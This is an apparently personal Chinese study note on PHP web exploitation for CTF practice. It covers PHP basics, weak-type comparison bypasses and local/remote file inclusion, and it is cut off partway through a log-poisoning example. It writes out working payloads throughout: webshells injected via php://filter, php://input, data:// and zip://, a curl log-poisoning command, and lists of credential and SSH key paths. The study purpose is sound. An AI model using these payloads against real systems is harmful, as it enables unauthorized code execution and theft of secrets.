

PHP CTF Web 安全笔记

有时命令执行完 **flag** 可能在源代码!!!

核心思路：找输入 → 找危险函数 → 控制参数 → 构造利用链

目录

1. PHP 基础语法速查

- -1.1 变量、字符串、数组
- -1.2 流程控制（if / for / foreach / while）
- -1.3 函数定义与调用（含匿名函数/闭包）
- -1.4 箭头与调用语法（-> / :: / =>）
- -1.5 类与对象基础（new / \$this / 构造函数）
- -1.6 常用字符串函数速查
- -1.7 常用数组函数速查
- -1.8 类型判断与转换函数速查
- -1.9 命名空间（namespace / use）

2. 最小基础（CTF核心）

- 0.1 数据类型与转换规则
- 0.2 比较机制（== / ===）
- 0.3 常见函数异常行为（返回 NULL / 报错）
- 0.4 输入来源（\$GET / \$POST / \$_REQUEST）

3. 文件包含（LFI/RFI）

- 1.1 include / require 行为
- 1.2 路径解析与穿越（../）
- 1.3 伪协议（php://filter / file:/// zip:/// php://input）
- 1.4 利用链（读源码 / 任意文件读取 / RCE）
- 1.5 绕过（%00、?、编码、数组等）

4. 命令执行（RCE）

- 2.1 `system / exec / passthru / shell_exec / eval`
- 2.2 回显差异与取回输出
- 2.3 参数注入与拼接
- 2.4 常见过滤绕过（空格、重定向、编码）

5. 反序列化

- 3.1 `unserialize` 原理
- 3.2 魔术方法（`wakeup / destruct` 等）
- 3.3 POP 链基本思路
- 3.4 常见限制与绕过

6. PHP 面向对象与继承

- 4.1 访问修饰符（`public / protected / private`）
- 4.2 继承（`extends / parent`）
- 4.3 静态属性与方法（`static`）
- 4.4 抽象类与接口（`abstract / interface`）
- 4.5 `Trait`
- 4.6 继承在 POP 链中的实际利用

7. 字符串逃逸（序列化逃逸）

- 5.1 原理：序列化字符串长度失配
- 5.2 增量逃逸（字符变多）
- 5.3 减量逃逸（字符变少）
- 5.4 常见触发函数与场景
- 5.5 实战构造方法

8. Session 反序列化

- 6.1 PHP Session 机制回顾
- 6.2 三种序列化处理器对比
- 6.3 漏洞原理：处理器不一致
- 6.4 完整利用流程
- 6.5 与 Session 文件包含的区别

9. 弱类型与比较

- 7.1 类型转换规则（字符串→数字、科学计数法）

- 7.2 == 与 ===
- 7.3 典型利用
- 7.4 浮点精度

10. 变量覆盖（变量污染）

- 8.1 \$\$（可变变量）
- 8.2 extract
- 8.3 parse_str
- 8.4 register_globals（历史遗留）
- 8.5 利用模型（覆盖鉴权变量、控制流程）

1. 文件读取（非包含）

- 9.1 file_get_contents / fopen
- 9.2 与包含的差异
- 9.3 与伪协议的配合

1. 附录

- 常用 Payload 模板
- 常见函数速查表
- WAF 绕过方法论
- SSRF 完整利用
- PHP 配置影响
- 文件上传进阶
- 审计代码流程
- 字符串逃逸 Payload 速查
- Session 反序列化 Payload 速查

-1. PHP 基础语法速查

目的：看懂 CTF 题目源码和 POP 链代码。不追求完整，只覆盖笔记中反复出现的语法。

-1.1 变量、字符串、数组

变量： 所有变量以 `$` 开头，无需声明类型。

```
$name = "admin";      // 字符串
$age  = 18;           // 整数
$pi   = 3.14;         // 浮点
$flag = true;         // 布尔: true / false
$nothing = null;      // 空值

// 变量名区分大小写
$var != $var          // 两个不同变量
```

字符串拼接： 用 `.`（点号），不是 `+`

```
$a = "hello";
$b = "world";
echo $a . " " . $b;    // hello world
echo "$a $b";          // 双引号内变量会被解析 → hello world
echo '$a $b';          // 单引号内变量不解析 → $a $b（原样输出）
```

字符串中嵌套变量（复杂形式）：

```
$arr = ['key' => 'val'];
echo "值是 ${$arr['key']}"; // 用花括号包裹复杂表达式
```

数组：

```
// 索引数组（从0开始）
$fruits = ["apple", "banana", "cherry"];
echo $fruits[0];      // apple
echo $fruits[1];      // banana

// 关联数组（键值对，=> 读作"映射到"）
$user = [
    "name" => "admin",
    "age"  => 18,
    "role" => "guest",
```

```
];  
echo $user["name"];      // admin  
echo $user["role"];      // guest  
  
// 旧写法（等价）  
$user = array("name" => "admin");  
  
// 多维数组  
$data = [  
    "users" => [  
        ["name" => "alice", "age" => 20],  
        ["name" => "bob", "age" => 22],  
    ]  
];  
echo $data["users"][0]["name"]; // alice
```

-1.2 流程控制（if / for / foreach / while）

if / elseif / else:

```
$score = 85;  
  
if ($score >= 90) {  
    echo "A";  
} elseif ($score >= 60) {  
    echo "B";          // 输出 B  
} else {  
    echo "F";  
}  
  
// 单行简写（没有花括号，只控制紧接的一条语句）  
if ($score > 60) echo "pass";
```

三元运算符 / **Null** 合并:

```
// 三元：条件 ? 真值 : 假值
$role = ($score > 60) ? "pass" : "fail";

// Null 合并（PHP7+）：左边不为 null 就用左边，否则用右边
$name = $_GET['name'] ?? "anonymous"; // 没传 name 参数时用
anonymous
```

for 循环：

```
for ($i = 0; $i < 5; $i++) {
    echo $i . " ";    // 0 1 2 3 4
}
```

foreach 循环（遍历数组，CTF 中非常常见）：

```
// 只取值
$arr = ["a", "b", "c"];
foreach ($arr as $value) {
    echo $value . "\n";    // a b c
}

// 取键和值（CTF 中变量覆盖的关键语法）
$params = ["is_admin" => 1, "name" => "alice"];
foreach ($params as $key => $value) {
    echo "$key = $value\n";
    // is_admin = 1
    // name = alice
}

// 配合 $$ 的变量覆盖（见第8章）
foreach ($_GET as $key => $value) {
    $$key = $value;    // 把 GET 参数名作为变量名赋值！
}
```

while / do-while:

```
$i = 0;
while ($i < 3) {
    echo $i++;    // 0 1 2
}

// do-while: 先执行再判断（至少执行一次）
do {
    echo "执行一次";
} while (false);
```

-1.3 函数定义与调用（含匿名函数/闭包）

普通函数：

```
// 定义
function greet($name, $greeting = "Hello") {    // $greeting 有默认值
    return $greeting . ", " . $name . "!";
}

// 调用
echo greet("admin");           // Hello, admin!
echo greet("admin", "Hi");     // Hi, admin!

// 引用传参（&）：函数内修改会影响外部变量
function addSuffix(&$str) {
    $str .= "_suffix";
}
$s = "flag";
addSuffix($s);
echo $s;    // flag_suffix（原变量被修改）
```

可变函数（**CTF** 高频，**RCE** 的基础）：

```
// 用变量存储函数名，然后像调用函数一样调用变量
$func = "system";
$func("id");           // 等同于 system("id")

$func = "phpinfo";
$func();               // 等同于 phpinfo()
```

匿名函数（闭包）：

```
// 赋值给变量的匿名函数
$double = function($x) {
    return $x * 2;
};
echo $double(5);      // 10

// use: 闭包捕获外部变量（闭包本身看不到外部作用域，需要显式 use）
$prefix = "FLAG";
$addPrefix = function($s) use ($prefix) {
    return $prefix . "_" . $s;
};
echo $addPrefix("123"); // FLAG_123

// 简写箭头函数（PHP 7.4+），自动捕获外部变量
$addPrefix = fn($s) => $prefix . "_" . $s;
echo $addPrefix("456"); // FLAG_456
```

`call_user_func` 家族（**POP** 链核心）：

```
// call_user_func(callable, arg1, arg2, ...)
// callable 可以是：字符串函数名、数组[对象,方法名]、闭包

call_user_func("system", "id");           // 调用 system("id")
call_user_func("phpinfo");               // 调用 phpinfo()

// 调用对象方法（POP 链中常见）
class Foo {
    public function bar($cmd) { system($cmd); }
}
$obj = new Foo();
```



```
call_user_func([$obj, "bar"], "id"); // 调用 $obj->bar("id")

// call_user_func_array: 参数用数组传入
call_user_func_array("system", ["id"]); // 等同于 system("id")
call_user_func_array([$obj, "bar"], ["cat /flag"]);
```

-1.4 箭头与调用语法（-> / :: / =>）

这三个符号在 PHP 中含义完全不同，是读懂 OOP 代码的关键。

符号	含义	示例
->	访问对象的属性或方法（实例）	<code>\$obj->name</code> , <code>\$obj->run()</code>
::	访问类的静态属性/方法，或父类成员	<code>Foo::\$count</code> , <code>parent::__construct()</code>
=>	数组键值对的映射符号	<code>["key" => "val"]</code>

-> 详解（对象成员访问）：

```
class Car {
    public $color = "red";
    public function drive() {
        echo "Driving a " . $this->color . " car";
        //                ↑ $this 指当前对象自身
    }
}

$car = new Car(); // new: 实例化对象
echo $car->color;  // red (访问属性)
$car->drive();     // 调用方法 → "Driving a red car"

// 链式调用（每个方法返回 $this）
$car->setColor("blue")->drive();
```

:: 详解（静态/类访问）：

```
class MathHelper {
    public static $pi = 3.14; // 静态属性
```

```

    public static function square($n) { // 静态方法
        return $n * $n;
    }
}

echo MathHelper::$pi;           // 3.14（访问静态属性，注意有 $）
echo MathHelper::square(5);     // 25（调用静态方法，不需要实例化）

// 在类内部引用自身用 self::，引用父类用 parent::
class Child extends MathHelper {
    public static function cube($n) {
        return self::square($n) * $n; // 引用本类静态方法
    }
    public function __construct() {
        parent::__construct();        // 调用父类构造函数
    }
}

```

=> 详解（数组键值对）：

```

// 关联数组
$config = ["host" => "127.0.0.1", "port" => 3306];

// foreach 中分离键和值
foreach ($config as $key => $value) {
    echo "$key: $value\n";
    // host: 127.0.0.1
    // port: 3306
}

// 注意：=> 和 -> 完全不同！
// => 只在数组定义和 foreach 中出现
// -> 只在访问对象成员时出现

```

-1.5 类与对象基础（new / \$this / 构造函数）

类的完整结构：

```
<?php
class User {
    // ===== 属性（成员变量）=====
    public    $name;           // 公开
    protected $role = "guest"; // 受保护（默认值）
    private   $passwd;         // 私有
    public static $count = 0;   // 静态属性（属于类，不属于对象）

    // ===== 构造函数（new 时自动调用）=====
    public function __construct($name, $passwd) {
        $this->name    = $name;    // $this 指当前对象
        $this->passwd = $passwd;
        self::$count++;           // 静态属性用 self:: 或 类名::
    }

    // ===== 普通方法 =====
    public function greet() {
        return "Hello, I am " . $this->name;
        //                               ↑ 必须用 $this-> 访问自身属性
    }

    // ===== 静态方法（不需要实例就能调用）=====
    public static function getCount() {
        return self::$count;
    }

    // ===== 析构函数（对象销毁时自动调用，CTF 反序列化入口）=====
    public function __destruct() {
        // 脚本结束、对象引用为0时触发
        // → 这是反序列化 POP 链最常见的入口！
    }
}

// ===== 实例化与使用 =====
$u1 = new User("alice", "123456"); // 触发 __construct
$u2 = new User("bob", "abcdef");
```

```

echo $u1->name;           // alice (访问 public 属性)
echo $u1->greet();        // Hello, I am alice (调用方法)
echo User::getCount();    // 2 (调用静态方法)

// 不能直接访问 protected/private:
// echo $u1->passwd;      // ❌ Fatal Error

```

`$this` 的本质:

```

class A {
    public $cmd = "id";

    public function run() {
        system($this->cmd); // $this 就是"调用这个方法的那个对象"
    }
}

$a = new A();
$a->cmd = "cat /flag"; // 修改属性
$a->run();              // system("cat /flag") ← $this->cmd 就是
                        "cat /flag"

```

对象的复制与引用:

```

$a = new User("alice", "123");
$b = $a;           // $b 和 $a 指向同一个对象 (引用!)
$b->name = "bob";
echo $a->name;      // bob ($a 也变了!)

$c = clone $a;     // clone: 创建独立副本
$c->name = "carol";
echo $a->name;      // bob ($a 不变)

```

类常量:

```

class Config {
    const VERSION = "1.0"; // 类常量, 不需要 $
    const MAX_RETRY = 3;
}

```

```

}

echo Config::VERSION;           // 1.0 (用 :: 访问)
echo Config::MAX_RETRY;         // 3

// 类内部用 self::
class App {
    const NAME = "MyApp";
    public function show() {
        echo self::NAME;        // MyApp
    }
}

```

-1.6 常用字符串函数速查

这些函数在 CTF 代码中出现频率极高，必须认识。

```

// ===== 查找与定位 =====
strpos($str, $needle)           // 查找 $needle 首次出现的位置 (返回整数
或 false)
strrpos($str, $needle)          // 查找最后一次出现的位置
strstr($str, $needle)           // 返回从 $needle 开始到末尾的子串
substr_count($str, $needle)     // 统计 $needle 出现次数

// 陷阱: strpos 返回 0 (位置0) 不等于 false!
strpos("admin", "a")            // 返回 0, 不是 false
if (!strpos($s, "key")) // 当 key 在首位时也进入 if ← 经典漏洞

// ===== 截取 ===== (正数: 从某位置开始取多少个)
substr($str, $start, $length)
// start: 起始位置 (负数从末尾算), length: 长度 (负数=去掉末尾n个字符)
substr("hello", 0, 3)           // "hel" (从0开始取3个)
substr("hello", 1)              // "ello" (从1开始到末尾)
substr("hello", -3)             // "llo" (末尾3个)
substr("hello", 1, -1)          // "ell" (从1开始, 去掉最后1个)

// ===== 替换 =====

```

```
str_replace($search, $replace, $subject)    // 替换所有匹配（字符串逃逸的
关键）
str_ireplace($search, $replace, $subject)    // 不区分大小写的替换
substr_replace($str, $replace, $start, $len)  // 替换指定位置

str_replace("a", "aa", "admin")            // "aadmin"
str_replace(["a","b"], ["1","2"], "ab")     // "12"（支持数组批量替换）

// ===== 分割与合并 =====
explode($delimiter, $string)                // 分割字符串为数组
implode($glue, $array)                      // 数组合并为字符串（join 是别名）
explode(",", "a,b,c")                      // ["a","b","c"]
implode("-", ["a","b","c"])                 // "a-b-c"

// ===== 大小写 =====
strtolower($str)                           // 全转小写
strtoupper($str)                           // 全转大写
ucfirst($str)                              // 首字母大写

// ===== 长度与填充 =====
strlen($str)                               // 字节长度（注意：中文UTF8每字3字节）
mb_strlen($str, 'UTF-8')                   // 字符长度（中文友好）
str_pad($str, $len, $pad_str)               // 填充到指定长度
str_repeat($str, $times)                    // 重复字符串
str_repeat("a", 5)                          // "aaaaa"

// ===== 修剪 =====
trim($str)                                 // 去除两端空白（空格、\n、\t 等）
ltrim($str)                                // 去除左端
rtrim($str)                                // 去除右端

// ===== 编码 =====
base64_encode($str)                        // base64 编码
base64_decode($str)                        // base64 解码
urlencode($str)                            // URL 编码（空格变+，特殊字符变%XX）
urldecode($str)                            // URL 解码
rawurlencode($str)                         // RFC3986 URL 编码（空格变%20）
md5($str)                                  // MD5 哈希（32位十六进制）
sha1($str)                                 // SHA1 哈希（40位十六进制）
hex2bin($hex)                              // 十六进制字符串转二进制
```

```

bin2hex($str)          // 二进制转十六进制字符串

// ===== 搜索与匹配 =====
preg_match($pattern, $subject, $matches) // 正则匹配（返回0或1）
preg_match_all($pattern, $subject, $matches) // 全部匹配
preg_replace($pattern, $replace, $subject) // 正则替换

// 正则示例
preg_match('/^\d+$/', "123") // 1（全是数字）
preg_match('/^\d+$/', "12a") // 0（含字母）
preg_match('/flag/i', "FLAG") // 1（i = 不区分大小写）

// ===== 其他常用 =====
sprintf($format, $args...) // 格式化字符串（类似 C 的 printf）
sprintf("%05d", 42) // "00042"
number_format($num, $decimals) // 格式化数字
ord($char) // 字符→ASCII码值 ord("A") = 65
chr($ascii) // ASCII码值→字符 chr(65) = "A"
nl2br($str) // 换行符转 <br>
htmlspecialchars($str) // 转义 HTML 特殊字符（< > & " '）
strip_tags($str) // 去除 HTML 标签

```

-1.7 常用数组函数速查

```

// ===== 基本操作 =====
count($arr) // 数组元素个数
array_keys($arr) // 返回所有键名
array_values($arr) // 返回所有值（重建索引）
in_array($val, $arr) // 值是否在数组中（注意弱比较！）
in_array("0", [false]) // true（弱比较！）
in_array("0", [false], true) // false（第3参数true=强比较）
array_key_exists($key, $arr) // 键是否存在

// ===== 增删改 =====
$arr[] = "new"; // 追加元素到末尾
array_push($arr, "a", "b") // 追加（可多个）
array_pop($arr) // 弹出末尾元素
array_shift($arr) // 弹出头部元素

```

```
array_unshift($arr, "new")    // 头部插入元素
unset($arr[0])                // 删除指定元素（不重建索引）
array_splice($arr, $offset, $length) // 删除并返回片段

// ===== 搜索 =====
array_search($val, $arr)      // 返回值对应的键，找不到返回 false

// ===== 合并与切片 =====
array_merge($arr1, $arr2)     // 合并数组（同名键后者覆盖前者）
array_slice($arr, $start, $length) // 切片（不改原数组）
array_combine($keys, $values) // 两个数组合并为关联数组

// ===== 排序 =====
sort($arr)                    // 值升序（重建索引）
rsort($arr)                   // 值降序
asort($arr)                   // 值升序（保留键）
ksort($arr)                   // 键升序
usort($arr, $cmp_func)        // 自定义排序函数

// ===== 遍历与映射 =====
array_map($callback, $arr)     // 对每个元素执行函数，返回新数组
array_filter($arr, $callback)   // 过滤，保留回调返回 true 的元素
array_reduce($arr, $callback, $initial) // 归约

// 示例
$nums = [1, 2, 3, 4, 5];
$doubled = array_map(fn($x) => $x * 2, $nums); // [2,4,6,8,10]
$evens   = array_filter($nums, fn($x) => $x % 2 === 0); // [2,4]

// ===== 其他 =====
array_unique($arr)             // 去重
array_flip($arr)               // 键值互换
array_reverse($arr)            // 反转
array_chunk($arr, $size)       // 分块（每块 $size 个元素）
array_column($arr, $col)       // 取多维数组中某一列
implode(",", $arr)             // 数组→字符串（见字符串函数）
```

-1.8 类型判断与转换函数速查

```
// ===== 类型判断 =====
gettype($var)           // 返回类型字符
串: "integer","string","array","object","NULL","boolean","double"
is_int($var)            // 是否整数 (is_integer / is_long 同义)
is_float($var)          // 是否浮点 (is_double 同义)
is_string($var)         // 是否字符串
is_bool($var)           // 是否布尔
is_null($var)           // 是否 null
is_array($var)          // 是否数组
is_object($var)         // 是否对象
is_numeric($var)        // 是否数字或数字字符串 ("1e5" 也是 true!)
isset($var)            // 变量是否存在且不为 null
empty($var)             // 是否"空" ("","0","0"、null、false、[] 都是
true)

// ===== 类型转换 =====
(int)$var               // 强制转为整数
(string)$var            // 强制转为字符串
(bool)$var              // 强制转为布尔
(array)$var             // 强制转为数组
(object)$var            // 强制转为对象
intval($var)            // 转整数 (可指定进制: intval("0x1A", 16) = 26)
floatval($var)          // 转浮点
strval($var)            // 转字符串
settype($var, "int")    // 直接修改变量类型 (修改原变量)

// 常见转换结果 (CTF 弱类型利用基础)
(int)"123abc"          // 123 (截取前缀数字)
(int)"abc"              // 0 (无数字前缀)
(int>true              // 1
(int>false             // 0
(int>null              // 0
(bool)"0"              // false (字符串"0"转布尔是false!)
(bool)""               // false
(bool)"false"          // true (非空非"0"字符串都是true)
(bool)[]               // false (空数组是false)
(bool)[0]              // true (非空数组是true)

// ===== 对象相关 =====
```

```

instanceof      // 检查对象是否属于某个类
get_class($obj) // 返回对象的类名
get_parent_class($obj) // 返回父类名
is_a($obj, "ClassName") // 等同于 instanceof（也适用于类名字符串）
method_exists($obj, "methodName") // 方法是否存在
property_exists($obj, "propName") // 属性是否存在

// 示例
class Animal {}
class Dog extends Animal {}
$d = new Dog();
var_dump($d instanceof Dog); // true
var_dump($d instanceof Animal); // true（父类也匹配！）
echo get_class($d); // "Dog"
echo get_parent_class($d); // "Animal"

```

-1.9 命名空间（namespace / use）

为什么要学：框架 *POP* 链（*Laravel/ThinkPHP*）中的类全部有命名空间，看不懂就找不到对应文件。

基本语法：

```

// 文件 app/Models/User.php
namespace App\Models; // 声明命名空间，必须在文件第一行

class User {
    public $name;
}

// 文件 index.php
namespace App;

use App\Models\User; // 引入类（之后可直接写 User）
use App\Models\User as U; // 起别名
use App\Http\Controller; // 引入另一个类

$user = new User(); // 等同于 new App\Models\User()
$u2 = new U(); // 等同于 new App\Models\User()

```

全局命名空间（加 `\` 前缀）：

```
namespace App\Models;

// 在命名空间内使用全局函数/类，需要加 \ 前缀
$arr = \json_decode($str);    // 调用全局 json_decode
throw new \Exception("error"); // 用全局 Exception 类
```

在 **POP** 链中读懂命名空间：

```
// 框架代码示例（ThinkPHP）
namespace think\process\pipes;

use think\model\Pivot;    // 引入了 think\model\Pivot 类

class windows {
    private $files = [];
    public function __destruct() {
        foreach($this->files as $file) {
            // $file 是 Pivot 对象，转字符串触发 __toString
            echo (string)$file;    // → Pivot::__toString → 继续链
        }
    }
}

// 序列化 payload 中需要用完整类名：
// o:27:"think\process\pipes\windows":1:{...}
//    ↑ 类名包含命名空间，反斜杠是普通字符
```

文件路径与命名空间的对应关系（**PSR-4** 规范）：

命名空间	对应文件路径
App\Models\User	→ app/Models/User.php
think\log\driver	→ think/log/driver.php

// 找到类名 → 找到文件 → 审计代码

0. 最小基础（CTF核心）

0.1 数据类型与转换规则

PHP 是弱类型语言：变量没有固定类型，参与运算或比较时会被自动转换。

```
$var = "hello";    // 字符串
$num = 42;         // 整数
$flag = true;      // 布尔
$arr = [1, 2, 3];  // 数组
$nothing = null;   // null
```

字符串 → 数字的转换规则（CTF核心）：

```
"1abc" → 1        // 取前缀数字
"abc"  → 0        // 无数字前缀，转为 0
"1e5"  → 100000   // 科学计数法
"0x1A" → 26       // 十六进制（PHP5）
""     → 0        // 空字符串转 0
```

is_numeric 行为：

```
is_numeric("1e5")    // true（科学计数法视为数字）
is_numeric("0x1A")   // true（PHP5，十六进制）
is_numeric("1abc")   // false
// 注意：is_numeric 只取"前缀数字"，后面非法字符直接截断
```

isset() vs empty()：

函数	返回 TRUE 的情况
<code>isset(\$v)</code>	变量存在且不为 <code>null</code>
<code>empty(\$v)</code>	变量为 <code>""</code> 、 <code>0</code> 、 <code>"0"</code> 、 <code>null</code> 、 <code>false</code> 、 <code>[]</code>

```
$a = "0";  
isset($a);    // true  → 变量存在  
empty($a);    // true  → "0" 被认为是空!  
// CTF利用: 条件判断用 empty() 时可用 "0" 绕过非空检查
```

0.2 比较机制 (== / ===)

比较	说明
==	先进行类型转换，再比较值
===	类型和值都必须相同

弱比较速查表:

```
var_dump(0 == "a");           // true (PHP7以下)  
var_dump("1" == "01");       // true  
var_dump("10" == "1e1");      // true  
var_dump(100 == "1e2");       // true  
var_dump("" == null);         // true  
var_dump(0 == null);          // true  
var_dump("php" == 0);         // true (PHP7以下)  
var_dump("0e1" == "0e2");     // true  
var_dump([] == false);        // true  
var_dump([] == 0);            // true
```

switch 也是弱比较:

```
switch ($_GET['type']) {  
    case 0:    // switch匹配case时用的是弱比较! "0abc" 会匹配  
        break;  
}
```

0.3 常见函数异常行为（返回 NULL / 报错）

函数	异常输入	返回值	CTF 利用
<code>md5(array)</code>	传入数组	NULL + Warning	NULL == NULL → 绕过
<code>sha1(array)</code>	传入数组	NULL + Warning	NULL == 任意 → 绕过
<code>strcmp(array, str)</code>	第一参数为 数组	NULL + Warning	NULL == 0 → true
<code>preg_match(regex, array)</code>	传入数组	false（不报 错）	返回 false 绕过匹配
<code>strpos</code> 返回 0（字符串检测函数）	关键词在首位	0（不是 false!）	<code>if (!strpos())</code> 逻辑 错误

```
// strpos 陷阱
strpos("hello", "h") // 返回 0（不是false!）
if (!strpos($str, "keyword")) {
    // keyword在第0位时也会进入这里 → 逻辑错误
} // 把本身是位置的0 加!变成true 最终进入判断
```

错误抑制符 @:

```
@file_get_contents("不存在的文件"); // 报错被抑制，不显示
// @strcmp(array, string) → 报错+返回NULL但被@吃掉，NULL==0仍成立
if (@strcmp($_GET['pass'], $secret) == 0) {
    echo $flag;
}
// ?pass[]=x → NULL==0 成立
```

0.4 输入来源（\$GET / \$POST / \$_REQUEST）

这是所有漏洞的起点：用户能控制什么？

变量	来源
<code>\$_GET</code>	URL 参数

变量	来源
<code>\$_POST</code>	POST 请求体
<code>\$_COOKIE</code>	Cookie
<code>\$_REQUEST</code>	GET + POST + COOKIE
<code>\$_FILES</code>	文件上传
<code>\$_SERVER</code>	服务器信息（部分可控）
<code>\$_SESSION</code>	服务器端会话
<code>\$GLOBALS</code>	全局变量数组

`$_SERVER` 可控项（用于绕过IP检测等）：

```
$_SERVER['HTTP_X_FORWARDED_FOR'] // 可伪造
$_SERVER['HTTP_CLIENT_IP']       // 可伪造
$_SERVER['REMOTE_ADDR']          // 无法伪造（真实IP）

// CTF场景（IP白名单绕过）：
if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
    echo $flag;
}
// 绕过：请求头加 X-Forwarded-For: 127.0.0.1
```

`$GLOBALS` 注意：

```
// 某些题目用 $GLOBALS 存储 flag，审计时要注意
function test2() {
    echo $GLOBALS['flag']; // 直接访问全局变量
}
```

1. 文件包含（LFI/RFI）

 本章所需语法速查

- `include/require` 是语言结构，不是函数，不需要括号（但可以加）

- 字符串拼接用 `.`: `include $dir . $file`
- `$_GET['key']` 取 URL 参数, `$_POST['key']` 取 POST 参数
- `substr($str, 0, 6)` 截取前6字符; `strlen($str)` 取长度
- `preg_match('/pattern/', $str)` 正则匹配, 返回 0 或 1

Local File Inclusion / Remote ~ ~

1.1 include / require 行为

原理: `include` 把指定文件的内容原封不动地插入到当前位置执行。不管文件后缀是什么 (`.txt`、`.jpg` 都行), 只要内容是 PHP 代码就会执行。

危险点: 参数可控 → 文件路径可控 → 可读任意文件 / 执行任意代码

include vs require:

```
// include: 包含失败 → 产生警告 (E_WARNING), 脚本继续执行
include "不存在.php";
echo "这行仍然会执行";    // ✅ 会输出

// require: 包含失败 → 产生致命错误 (E_ERROR), 脚本立即终止
require "不存在.php";
echo "这行不会执行";      // ❌ 终止

// include_once / require_once: 同一文件只包含一次
include_once "config.php";
include_once "config.php"; // 第二次被忽略
```

典型漏洞代码:

```
include $_GET['file'];
require $_GET['page'];
include_once $_GET['module'];
```

`include()`

- 1. 纯文本文件: 原样输出到响应流

- 2.PHP文件 执行代码 若无echo则不显示

1.2 路径解析与穿越 (../)

路径基础:

```
./          当前目录（等同于不写）
../         上级目录
../..       上上级目录
/          根目录（绝对路径起点）

// 示例：当前在 /var/www/html/pages/, 目标 /etc/passwd
// 需要 4 个 ../: ../..../..../etc/passwd (回退到root)
```

常见敏感路径速查:

```
#windows系统
C:\boot.ini //查看系统版本
C:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
C:\windows\repair\sam //存储windows系统初次安装的密码
C:\ProgramFiles\mysql\my.ini //Mysql配置
C:\ProgramFiles\mysql\data\mysql\user.MYD //MySQL root密码
C:\windows\php.ini //php配置信息

# Linux系统文件
/etc/passwd          # 用户信息
/etc/shadow          # 密码hash（需root）
/etc/hosts           # 主机映射
/proc/self/environ   # 当前进程环境变量（可能含flag）
/proc/self/cmdline    # 当前进程命令行
/proc/self/cwd       # 当前工作目录符号链接

# web服务器日志（用于日志投毒）
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/apache2/access.log
/var/log/apache2/error.log
/usr/local/apache2/logs/access_log
```

```
# PHP相关
/tmp/sess_[SESSIONID]          # PHP Session文件
/var/lib/php/sessions/sess_xxx
/var/www/html/index.php        # 源码
/var/www/html/config.php       # 配置文件

# SSH相关
/root/.ssh/id_rsa              # SSH私钥
/home/user/.ssh/authorized_keys
```

1.3 伪协议（php://filter / file:/// zip:/// php://input）

伪协议使用条件速查：

伪协议	ALLOW_URL_FOPEN	ALLOW_URL_INCLUDE	用途
php://filter	不需要	不需要	读文件源码
php://input	不需要	需要	POST执行代码
data://	不需要	需要	直接执行代码
zip://	不需要	不需要	包含zip内文件
phar://	不需要	不需要	触发反序列化
file://	不需要	不需要	读取本地文件
http://	需要	需要	远程文件包含

① php://filter —— 读取源码（最常用）

```
php://filter//resource=/flag
中间是过滤器 可用管道符连接多个

# 基础：读取base64编码的源码
?file=php://filter/read=convert.base64-encode/resource=index.php

# 读取后用base64解码查看源码
echo "PD9waHAgZWNoYAiAGVsbG8iOz8+" | base64 -d
```

```
# 多过滤器链（组合使用）
?file=php://filter/read=string.rot13|convert.base64-
encode/resource=index.php

# 写文件（死亡die绕过核心）
?file=php://filter/write=convert.base64-decode/resource=shell.php
# POST数据: aaaPD9waHAgc3lzdGVtKCRfR0VUWydjbnQnXSk7Pz4=
# （aaa是填充base64对齐，实际payload是 <?php system($_GET['cmd']);?> 的
base64）
```

过滤器作用：

<https://chatgpt.com/share/6a57aa90-4dbc-83ec-a759-8a1f8bf4be5d>

image-20260715234207915

filter链常用编码：

convert.base64-encode	→ base64编码
convert.base64-decode	→ base64解码
string.rot13	→ ROT13变换
string.toupper	→ 转大写
string.tolower	→ 转小写
zlib.deflate	→ zlib压缩
zlib.inflate	→ zlib解压

何时用到zlib.deflate:<https://chatgpt.com/share/6a8a86cb-85f4-83e8-b3ea-226fc3efb6bd>

② `php://input` —— **POST**执行代码

`php://input`不支持post提交，其请求的参数格式是原生(Raw)的内容

```
# 条件: allow_url_include = On (PHP 7.4以下) burps
?file=php://input
POST /index.php HTTP/1.1
Host: test.com
Content-Type: text/plain
```

```

<?php system("id");?>

# curl执行
curl -X POST "http://target/?file=php://input" \
  --data-raw "<?php system('cat /flag');?>"
$id = $_GET['id'];
// flag in D:\flag.txt
if (substr($id, 0, 6) === "php://" && isset($id)) {
    echo "Out!";          // 字符串截取 变量，从第零位（可为负），
                          // 长度（可省）（若为负去掉末尾n个字符）
}else{
    include(implode($id)); // 把分散输入拼接成字符串 分隔符，arr
}

```

post数据: system("type D:\flag.txt")

type类似**cat** 输出文件内容 \要有两个 因为**Windows**的\需要转义

③ data:// —— 直接执行代码

```

# 条件: allow_url_include = On

# 明文方式（此处有个逗号 system别忘了里面的单引号和外面的;号）
?file=data://text/plain,<?php system('id');?>
or <?php system('cat /flag');?>
# base64方式（绕过关键字过滤 此处是分号）
?file=data://text/plain;base64,PD9waHAga3lzdGvbkCdpZCcpOz8+
# 生成payload: echo -n "<?php system('cat /flag');?>" | base64
# 如果编码后还有被过滤 考虑<?php eval($_POST['var']);?> 然后POST传
var=system('cat /flag');根据base64解码规则和php中base64解码宽松性，= 在解
码过程开始前会被移除，所以不会影响解码结果，但是+号作为码表的一部分移除会导致解码不
正确，注意分别。

```

④ `zip://` —— 包含压缩包中的文件

```
# 条件: 能上传zip文件, 且有LFI

# Step 1: 准备 shell.php: <?php system($_GET['cmd']);?>
# Step 2: 打包为zip: zip shell.zip shell.php
# Step 3: 上传并包含
?file=zip://uploads/shell.zip%23shell.php
# %23 = # (URL编码)
```

⑤ `phar://` —— 触发反序列化 (高阶)

```
# phar文件 = stub区 + manifest区(含序列化元数据) + 文件区
# 用 phar:// 访问时, PHP自动反序列化 metadata!

# 触发函数 (不只是include!)
file_exists('phar://evil.phar')
is_file('phar://evil.phar')
fopen('phar://evil.phar', 'r')
file_get_contents('phar://evil.phar')
stat('phar://evil.phar')

# 见 §3.4 phar反序列化完整流程
```

6. `File://` —— 读取本地文件

关键点: 找准路径! 根路径为/ 一定注意关于文件路径的提示

1.4 利用链 (读源码 / 任意文件读取 / RCE)

利用链:

1. `include + php://filter` → 读源码
2. `include + php://input` → RCE (需 `allow_url_include=On`)
3. `include + zip://` → 绕后缀限制

4. `include + phar://` → 触发反序列化 → RCE
5. `include + 日志` → 日志投毒 → RCE
6. `include + Session文件` → Session污染 → RCE

方法1: Apache/Nginx 日志投毒（最常用）

```
# Step 1: 向User-Agent写入PHP代码
curl -A "<?php system(\$_GET['cmd']);?>" http://target/

# Step 2: 包含日志文件触发执行
